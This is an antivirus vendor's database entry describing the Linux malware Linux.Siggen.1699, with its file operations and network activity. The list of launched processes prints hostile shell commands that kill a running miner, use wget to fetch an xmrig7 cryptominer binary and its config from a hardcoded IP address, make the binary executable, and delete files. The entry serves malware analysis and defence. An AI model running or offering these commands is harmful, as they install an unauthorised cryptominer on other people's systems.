Linux.Siggen.1699
Added to the Dr.Web virus database:
2019-05-13
Virus description added:
2019-05-13
Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
Malicious functions:
Manages services:
Launches processes:
- rm -rf /tmp/config.json
- sh -c pkill -9 xmrig7; cd /tmp; wget http://185.222.202.68/xmrig7; chmod 777 /xmrig7
- pkill -9 xmrig7
- wget http://185.222.202.68/xmrig7
- chmod 777 /xmrig7
- sh -c cd /tmp; wget http://185.222.202.68/config.json
- wget http://185.222.202.68/config.json
- init q
Performs operations with the file system:
Creates or modifies files:
- /tmp/xmrig7
- /tmp/config.json
Deletes files:
Network activity:
HTTP GET requests:
- 18#.###.202.68/xmrig7
- 18#.###.202.68/config.json
Curing recommendations
Linux
Free trial
One month (no registration) or three months (registration and renewal discount)
このウェブサイトを継続して訪問する場合、訪問者に関する統計データを収集するためのCookieファイルおよび他のテクノロジーを弊社が利用することに同意したものとします。詳細